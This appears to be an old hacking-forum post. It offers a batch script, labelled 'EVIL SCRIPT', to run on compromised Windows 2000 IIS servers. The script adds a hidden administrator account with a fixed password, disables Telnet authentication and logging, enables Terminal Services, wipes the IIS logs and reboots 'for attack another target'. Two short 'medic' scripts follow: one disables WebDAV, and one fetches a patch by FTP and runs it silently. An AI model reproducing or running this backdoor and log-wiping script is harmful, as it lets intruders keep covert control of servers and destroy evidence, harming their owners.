I tested this against Vmware 4.0 server with W2K FR SP3 ( Work Fine ! )
[1] - EVIL SCRIPT
Descritpion of the Evil Script
:01 - Create user TsInternetUser
02 - Set password JuSt4TeSt to this user
03 - Add the user to administartor group ( UK/US/FR/DE )
04 - Disable NTLM authentification For Authorized anyone to connect
05 - Disable Telnet Log event Connection
06 - Put Netstart Services to Start in automatique mode
07 - Enabled Terminal service to start
08 - Disable WebDAV functionality
09 - Write all the Reg to Registry
10 - Write file for install TS Components
11 - Lunch quiet install with Sysocmgr.exe
12 - Stop w3svc Services
13 - Delete IIS logfiles
14 - Del Temp files create by the script
14 - Reboot the server for enable the modifications
14 - Exit command for Attack another target
| CODE |
| net user TsInternetUser /add net user TsInternetUser JuSt4TeSt net localgroup Administrators TsInternetUser /add net localgroup Administrateurs TsInternetUser /add net localgroup Administratoren TsInternetUser /add ECHO Windows Registry Editor Version 5.00>>c:\TEST.REG ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer.0]>>c:\TEST.REG ECHO "NTLM"=dword:00000000>>c:\TEST.REG ECHO "EventLoggingEnabled"=dword:00000000>>c:\TEST.REG ECHO "LogNonAdminAttempts"=dword:00000000>>c:\TEST.REG ECHO "LogAdminAttempts"=dword:00000000>>c:\TEST.REG ECHO "LogFailures"=dword:00000000>>c:\TEST.REG ECHO "LogToFile"=dword:00000000>>c:\TEST.REG ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TlntSvr]>>c:\TEST.REG ECHO "Start"=dword:00000002>>c:\TEST.REG ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>>c:\TEST.REG ECHO "Start"=dword:00000002>>c:\TEST.REG ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]>>c:\TEST.REG ECHO "EnableAdminTSRemote"=dword:00000001>>c:\TEST.REG ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>c:\TEST.REG ECHO "TSEnabled"=dword:00000001>>c:\TEST.REG ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]>>c:\TEST.REG ECHO "Start"=dword:00000002>>c:\TEST.REG ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters]>>c:\TEST.REG ECHO "DisableWebDAV"=dword:00000001>>c:\TEST.REG REGEDIT /S C:\TEST.REG ECHO [Components] > c:\bootlog~.txt ECHO TSEnabled = on >> c:\bootlog~.txt sysocmgr /i:%windir%\inf\sysoc.inf /u:c:\bootlog~.txt /q net stop w3svc DEL %WINDIR%\system32\logfiles\*.*/S /F /Q DEL /Q c:\TEST.REG DEL /Q c:\bootlog~.txt IISRESET /REBOOT /timeout:00 EXIT |
[2] - MEDIC SCRIPT
This Script Disable only the WebDav functionality . How to disable Webdav
| CODE |
| ECHO "Start"=dword:00000002>>c:\TEST.REG ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters]>>c:\TEST.REG ECHO "DisableWebDAV"=dword:00000001>>c:\TEST.REG IISRESET /REBOOT /timeout:00 EXIT |
[3] - MEDIC SCRIPT ² ( if you are sure the outgoing FTP port is authorized )
You can patch the vulnerabilitie with this Tool, before you must download the patch to microsoft ( HERE ) and put the .exe to FTP serveur.
| CODE |
| ECHO OPEN www.exemple.com 21>c:\FTP.TXT ECHO MyLogin>>c:\FTP.TXT ECHO MyPassword>>c:\FTP.TXT ECHO GET Q815021_W2K_sp4_x86_EN.EXE C:\Q815021_W2K_sp4_x86_EN.EXE>>c:\FTP.TXT ECHO DISCONNECT>>c:\FTP.TXT ECHO QUIT>>c:\FTP.TXT FTP -S:C:\FTP.TXT C:\Q815021_W2K_sp4_x86_EN.EXE /N /Q /Z DEL /Q C:\FTP.TXT DEL /Q C:\Q815021_W2K_sp4_x86_EN.EXE IISRESET /REBOOT /timeout:00 EXIT |
).
